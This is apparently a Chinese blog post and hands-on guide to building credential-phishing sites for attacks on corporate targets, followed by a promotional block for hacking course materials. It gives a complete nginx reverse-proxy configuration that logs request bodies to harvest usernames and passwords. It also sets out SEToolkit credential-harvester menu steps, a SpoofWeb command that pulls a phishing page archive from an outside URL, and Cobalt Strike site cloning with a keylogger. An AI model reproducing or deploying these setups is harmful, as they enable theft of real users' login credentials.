废话不多说,钓鱼YYDS,尤其是在对一些集团类型的攻击时,很好用
1、基于反向代理的钓鱼网站搭建
一个虚假的钓鱼网站比较容易被人发现,因为功能是不能正确使用的,即使你使用302重定向,动作也是非常明显的(虽然也可以用,效果也还行),但是基于反向代理的钓鱼网站搭建的话,你只是进行了一次中转,用户还是访问的是实际原来的服务器。
下载一个宝塔,宝塔可以让我们很方便的下载nginx
wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh && sudo bash install.sh
记得放行端口
当然也可以直接安装
rm /usr/sbin/nginx``rm -rf /etc/nginx``apt-get remove nginx``apt-get remove nginx-full``apt-get update``apt-get install nginx-full
修改配置:
vim /www/server/nginx/conf/nginx.conf
修改点在16行,修改日志记录;74——79行,修改代理网站,自己看吧
cat /www/server/nginx/conf/nginx.conf
user www www;``worker_processes auto;``error_log /www/wwwlogs/nginx_error.log crit;``pid /www/server/nginx/logs/nginx.pid;``worker_rlimit_nofile 51200;`` ``events` `{` `use epoll;` `worker_connections 51200;` `multi_accept on;` `}`` ``http` `{` `log_format TestLog escape=json '$request $request_body $status ';`` ` `include mime.types;` `#include luawaf.conf;`` ` `include proxy.conf;`` ` `default_type application/octet-stream;`` ` `server_names_hash_bucket_size 512;` `client_header_buffer_size 32k;` `large_client_header_buffers 4 32k;` `client_max_body_size 50m;`` ` `sendfile on;` `tcp_nopush on;`` ` `keepalive_timeout 60;`` ` `tcp_nodelay on;`` ` `fastcgi_connect_timeout 300;` `fastcgi_send_timeout 300;` `fastcgi_read_timeout 300;` `fastcgi_buffer_size 64k;` `fastcgi_buffers 4 64k;` `fastcgi_busy_buffers_size 128k;` `fastcgi_temp_file_write_size 256k;` `fastcgi_intercept_errors on;`` ` `gzip on;` `gzip_min_length 1k;` `gzip_buffers 4 16k;` `gzip_http_version 1.1;` `gzip_comp_level 2;` `gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml;` `gzip_vary on;` `gzip_proxied expired no-cache no-store private auth;` `gzip_disable "MSIE [1-6]\.";`` ` `limit_conn_zone $binary_remote_addr zone=perip:10m;` `limit_conn_zone $server_name zone=perserver:10m;`` ` `server_tokens off;` `access_log off;`` ``server` `{` `listen 8088;` `server_name 81.68.xx.xx;` `index index.html index.htm index.php index.jsp login.jsp index.aspx;` `#root /www/server/phpmyadmin;`` ` `#error_page 404 /404.html;` `include enable-php.conf;`` ` `location /{` `proxy_pass https://106.75.xx.xx;`` proxy_set_header Host 81.68.xx.xx; ``proxy_set_header X-Forwarded-For $remote_addr;` `}`` ` `access_log /www/wwwlogs/access.log TestLog;`` }``include /www/server/panel/vhost/nginx/*.conf;``}
配置完重启
nginx -s reload
或者nginx -c /www/server/nginx/conf/nginx.conf
查看日志,发现成功记录了账户密码
但是经过测试,不是所有的网站都能copy,有的网站由于一些前端样式请求解析的问题,导致会出现乱码、404,等一些奇奇怪怪的问题,大概率是需要使用nginx的匹配替换JS,或者header头等,或是跨域访问问题
subs_filter 如
subs_filter_types text/css text/plain application/x-javascript application/javascript;``subs_filter http:// 'https://';``subs_filter abc.org 'xyz.net';``subs_filter caoss.com 'css.net';//第一个参数是要被替换的,第二个参数是替换后``sub_filter_once off; //替换所有的,默认是on,替换第一个
2、SEToolkit
git clone https://github.com/trustedsec/social-engineer-toolkit.git``chmod 777 -R social-engineer-toolkit-master/``cd social-engineer-toolkit``python setup.py install
报了个错,但是他提示可以直接使用,后来踩坑pip3问题
填坑
apt-get remove python3-pip 删掉老的pip3``vim vim /etc/apt/sources.list``#加入以下内容``deb http://cn.archive.ubuntu.com/ubuntu bionic main multiverse restricted universe``deb http://cn.archive.ubuntu.com/ubuntu bionic-updates main multiverse restricted universe``deb http://cn.archive.ubuntu.com/ubuntu bionic-security main multiverse restricted universe``deb http://cn.archive.ubuntu.com/ubuntu bionic-proposed main multiverse restricted universe``sudo apt-get update``sudo apt-get install python3-pip``成功运行pip3``pip3 install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple``python setup.py install
1)、打开setoolkit
2)、进入set后,直接盲选输入
1、2、3、2
分别对应
Social-Engineering Attacks 社会工程学
Website Attack Vectors 网站攻击
Credential Harvester Attack Method 凭据收割
Site Cloner 选择克隆的方式来构造
3)、然后选择监听IP,选择克隆网站
怎么说呢,测试效果不尽人意吧,有时候存在各种各样的问题,有时候是可以成功使用的,作为教学的场景是够用的,如果是对于新人的话,还是可以用这个工具很好的演示钓鱼网站。
3、SpoofWeb
https://github.com/5icorgi/SpoofWeb
下载后发现格式为windows,修改格式为unix,sed -i “s/\r//” PhishingWebSrv.sh
./PhishingWebSrv.sh 您的域名 Mysql的root密码(随意) 钓鱼页面URL.7z 解压密码
./PhishingWebSrv.sh "sp.hi.org" '81PtmLoDdsi@#402njgJ4G' "https://fileproxy.io/spoofpage.7z" "PaZahey873
这里手上暂时没钓鱼页面的URL源码,就暂时不复现了。
4、goblin 钓鱼网站生成
https://github.com/xiecat/goblin
目前来说比较成熟的一款生成
5、Cobaltstrike
最大的好处就是非常的方便
开启键盘记录器后,效果如下,就是方便,并且克隆出来的网站也比较逼真,偶尔翻车,但是不会很频繁
其他方法,使用WebCopy,Httrack将网站静态源码打包,然后再自行写点代码来对前端用户名密码进行保存,但是我觉得有点麻烦了。这两种工具更适合定制化场景,例如安服仔常做的工作“应急演练”。
`黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取